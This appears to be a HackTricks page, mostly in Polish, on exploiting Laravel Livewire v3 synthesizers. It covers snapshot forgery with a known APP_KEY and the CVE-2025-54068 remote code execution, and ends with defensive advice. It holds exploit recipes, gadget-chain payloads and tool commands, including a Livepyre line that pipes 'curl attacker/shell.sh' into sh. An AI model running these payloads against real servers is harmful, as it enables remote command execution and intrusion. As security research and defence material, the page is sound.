Laravel Livewire Hydration & Synthesizer Abuse
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podsumowanie maszyny stanów Livewire
Komponenty Livewire 3 wymieniają stan za pomocą snapshotów, które zawierają data, memo oraz sumę kontrolną. Każde żądanie POST do /livewire/update ponownie odtwarza snapshot JSON po stronie serwera i wykonuje oczekujące calls/updates.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Każdy, kto posiada APP_KEY (używany do wyprowadzenia $hashKey), może więc sfałszować dowolne snapshoty, ponownie obliczając HMAC.
Złożone właściwości są kodowane jako synthetic tuples wykrywane przez Livewire\Drawer\BaseUtils::isSyntheticTuple(); każda krotka to [value, {"s":"<key>", ...meta}]. Rdzeń hydracji po prostu deleguje każdą krotkę do syntha wybranego w HandleComponents::$propertySynthesizers i rekurencyjnie przetwarza elementy potomne:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Ten rekurencyjny projekt sprawia, że Livewire staje się uniwersalnym silnikiem tworzenia instancji obiektów, gdy atakujący przejmie kontrolę nad metadanymi tuple albo nad dowolną zagnieżdżoną tuple przetwarzaną podczas rekurencji.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Tworzy instancję new $meta['class']($value) po rehydratacji każdego child. Każda klasa z konstruktorem przyjmującym tablicę może zostać utworzona, a każdy element może sam być synthetic tuple. |
FormObjectSynth (form) | Wywołuje new $meta['class']($component, $path), a następnie przypisuje wszystkie publiczne właściwości z kontrolowanych przez atakującego children za pomocą $hydrateChild. Konstruktory, które akceptują dwa luźno typowane parametry (lub mają domyślne argumenty), wystarczają, by uzyskać dostęp do dowolnych publicznych właściwości. |
ModelSynth (mdl) | Jeżeli key jest nieobecny w meta, wykonuje return new $class;, pozwalając na utworzenie instancji klasy bez argumentów. |
Ponieważ synths wywołują $hydrateChild na każdym zagnieżdżonym elemencie, dowolne grafy gadgetów można budować przez rekursywne układanie tuple.
Forging snapshots when APP_KEY is known
- Przechwyć prawidłowe żądanie
/livewire/updatei zdekodujcomponents[0].snapshot. - Wstrzyknij zagnieżdżone tuple wskazujące na klasy gadgetów i przelicz
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Ponownie zakoduj snapshot, pozostaw
_token/memobez zmian i odtwórz żądanie.
A minimalny dowód wykonania używa Guzzle’s FnStream i Flysystem’s ShardedPrefixPublicUrlGenerator. Jedna tuple instancjonuje FnStream z danymi konstruktora { "__toString": "phpinfo" }, kolejna instancjonuje ShardedPrefixPublicUrlGenerator z [FnStreamInstance] jako $prefixes. Gdy Flysystem rzutuje każdy prefix na string, PHP wywołuje dostarczalny przez atakującego callable __toString, wywołując dowolną funkcję bez argumentów.
From function calls to full RCE
Wykorzystując prymitywy instancjonowania Livewire, Synacktiv zaadaptował łańcuch phpggc Laravel/RCE4, tak że hydration uruchamia obiekt, którego publiczny stan Queueable wyzwala deserializację:
- Queueable trait – każdy obiekt używający
Illuminate\Bus\Queueableujawnia publiczne$chainedi wykonujeunserialize(array_shift($this->chained))wdispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) jest instancjonowany przezCollectionSynth/FormObjectSynthz wypełnionym publicznym$chained. - phpggc Laravel/RCE4Adapted – zserializowany blob przechowywany w
$chained[0]budujePendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()ostatecznie wywołujecall_user_func_array($closure, $args), umożliwiającsystem($cmd). - Stealth termination – przekazując drugi callable
FnStream, np.[new Laravel\Prompts\Terminal(), 'exit'], żądanie kończy sięexit()zamiast głośnego wyjątku, utrzymując odpowiedź HTTP czystą.
Automating snapshot forgery
synacktiv/laravel-crypto-killer teraz zawiera tryb livewire, który łączy to wszystko:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Narzędzie parsuje przechwycony snapshot, wstrzykuje gadget tuples, przelicza sumę kontrolną i wypisuje payload gotowy do wysłania /livewire/update.
CVE-2025-54068 – RCE bez APP_KEY
Według alertu producenta, problem dotyczy Livewire v3 (>= 3.0.0-beta.1 i < 3.6.3) i jest unikalny dla v3.
updates są scalane ze stanem komponentu po tym, jak suma kontrolna snapshotu zostanie zweryfikowana. Jeśli właściwość wewnątrz snapshotu jest (lub stanie się) synthetic tuple, Livewire ponownie wykorzystuje jej meta podczas hydratacji wartości aktualizacji kontrolowanej przez atakującego:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Przepis na exploit:
- Znajdź Livewire component z publiczną właściwością bez typu (np.
public $count;). - Wyślij update, który ustawia tę właściwość na
[]. Następny snapshot zapisze ją jako[[], {"s": "arr"}].
A minimalny type-juggling wygląda tak:
POST /livewire/update
...
"updates": {"count": []}
Wtedy następny snapshot zapisze krotkę, która zachowuje arr synth metadata:
"count": [[], {"s": "arr"}]
- Przygotuj kolejny
updatespayload, w którym ta właściwość zawiera głęboko zagnieżdżoną tablicę osadzającą krotki takie jak[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Podczas rekursji
hydrate()ocenia każde zagnieżdżone dziecko niezależnie, więc wybrane przez atakującego synth keys/classes są respektowane, nawet jeśli zewnętrzna krotka i checksum nigdy się nie zmieniły. - Wykorzystaj te same prymitywy
CollectionSynth/FormObjectSynth, aby zainicjować Queueable gadget, którego$chained[0]zawiera phpggc payload. Livewire przetwarza sfałszowane updates, wywołujedispatchNextJobInChain(), i dociera dosystem(<cmd>)bez znajomościAPP_KEY.
Główne powody, dla których to działa:
updatesnie są objęte snapshot checksum.getMetaForPath()ufa dowolnym synth metadata, które już istniały dla tej właściwości, nawet jeśli atakujący wcześniej wymusił, by stała się krotką poprzez weak typing.- Rekursja w połączeniu z weak typing pozwala, by każda zagnieżdżona tablica była interpretowana jako zupełnie nowa krotka, więc dowolne synth keys i dowolne klasy ostatecznie trafiają do hydration.
Livepyre – eksploatacja end-to-end
Livepyre automatyzuje zarówno APP_KEY-less CVE, jak i signed-snapshot path:
- Odciska wersję Livewire przez parsowanie
<script src="/livewire/livewire.js?id=HASH">i mapowanie hasha na podatne wydania. - Zbiera bazowe snapshoty przez odtwarzanie nieszkodliwych akcji i wyodrębnianie
components[].snapshot. - Generuje albo payload zawierający tylko
updates(CVE-2025-54068), albo sfałszowany snapshot (znane APP_KEY) osadzający phpggc chain. - Jeśli w snapshotcie nie znaleziono parametru typu object, Livepyre przechodzi do brute-forcingu kandydatów parametrów, żeby znaleźć wymuszalną właściwość.
Typowe użycie:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check uruchamia niedestruktywne sondowanie, -F pomija version gating, -H i -P dodają niestandardowe nagłówki lub proxy, a --function/--param dostosowują php function wywoływaną przez gadget chain.
Rozważania obronne
- Zaktualizuj do naprawionych buildów Livewire (>= 3.6.4 zgodnie z biuletynem dostawcy) i wdroż poprawkę dostawcy dla CVE-2025-54068.
- Unikaj słabo typowanych publicznych właściwości w komponentach Livewire; jawne typy skalarne uniemożliwiają konwersję wartości właściwości na arrays/tuples.
- Zarejestruj tylko te synthesizers, których naprawdę potrzebujesz, i traktuj metadane kontrolowane przez użytkownika (
$meta['class']) jako niezaufane. - Odrzucaj aktualizacje, które zmieniają typ JSON właściwości (np. scalar -> array), chyba że jest to wyraźnie dozwolone, i ponownie wyprowadzaj synth metadata zamiast ponownego używania przestarzałych tuples.
- Wymień
APP_KEYniezwłocznie po jakimkolwiek ujawnieniu, ponieważ umożliwia to offline snapshot forging bez względu na to, jak załatany jest kod.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


